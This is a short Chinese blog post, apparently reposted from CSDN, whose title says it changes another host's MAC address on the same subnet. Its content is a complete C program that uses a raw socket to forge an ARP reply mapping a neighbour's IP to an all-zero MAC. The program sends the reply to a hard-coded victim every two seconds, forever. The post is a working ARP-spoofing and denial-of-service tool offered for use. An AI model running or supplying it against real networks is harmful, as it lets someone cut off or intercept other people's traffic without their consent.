ARP协议改mac地址

##改变同一网段别人的mac地址

#include <stdio.h>
#include <sys/socket.h>//socket
#include <arpa/inet.h>//htons
#include <netinet/ether.h>//ETH_P_ALL
#include <unistd.h>//close
#include <sys/ioctl.h>
#include <string.h>
#include <netpacket/packet.h>//sockaddr_ll
#include <net/if.h>//struct ifreq
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
int main(int argc, char const *argv[]){   
 //创建一个原始套接字  
   int fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    //组包(arp)  
       unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};   
        unsigned char src_mac[6]={0x00,0x00,0x00,0x00,0x00,0x00}; 
           unsigned char src_ip[4] = {10,0,121,217};  
       unsigned char dst_ip[4] = {10,0,121,196};    
    unsigned char msg[1500]="";
    //组mac头   
     struct ether_header *eth_hd = (struct ether_header *)msg;  
       //赋值目的mac   
        memcpy(eth_hd->ether_dhost,dst_mac,6);   
         //源mac  
           //memset(eth_hd->ether_shost,0,6); 
              memcpy(eth_hd->ether_shost,src_mac,6); 
                 //协议类型 
                    eth_hd->ether_type = htons(0x0806);
    //组arp头   
     struct arphdr *arp_hd = (struct arphdr *)(msg+14);  
       arp_hd->ar_hrd = htons(1);//硬件类型  
         arp_hd->ar_pro = htons(0x0800);//协议类型  
           arp_hd->ar_hln = 6;//硬件地址长度 
              arp_hd->ar_pln = 4;//协议地址长度  
                arp_hd->ar_op = htons(2);//应答  
                  memcpy(arp_hd->__ar_sha,src_mac,6);//源mac  
                    memcpy(arp_hd->__ar_sip,src_ip,4);//源ip  
                      memcpy(arp_hd->__ar_tha,dst_mac,6);//目的mac  
                        memcpy(arp_hd->__ar_tip,dst_ip,4);//目的ip
    int len = 42;
    //从原始套接字发送数据  
      //获取网络结构类型    
      struct ifreq ethreq;  
        strncpy(ethreq.ifr_name,"ens33",IFNAMSIZ); 
           ioctl(fd, SIOCGIFINDEX, &ethreq);
    //指明出去的网络接口    
    struct sockaddr_ll sll;   
     bzero(&sll,sizeof(sll)); 
        sll.sll_ifindex = ethreq.ifr_ifindex;
    while(1)  
      {     
         sendto(fd,msg,len,0,(struct sockaddr *)&sll, sizeof(sll)); 
                sleep(2);   
                 }      
                   close(fd);
    return 0;}
发布了19 篇原创文章 · 获赞 21 · 访问量 1264

猜你喜欢

转载自blog.csdn.net/lj19990824/article/details/103785013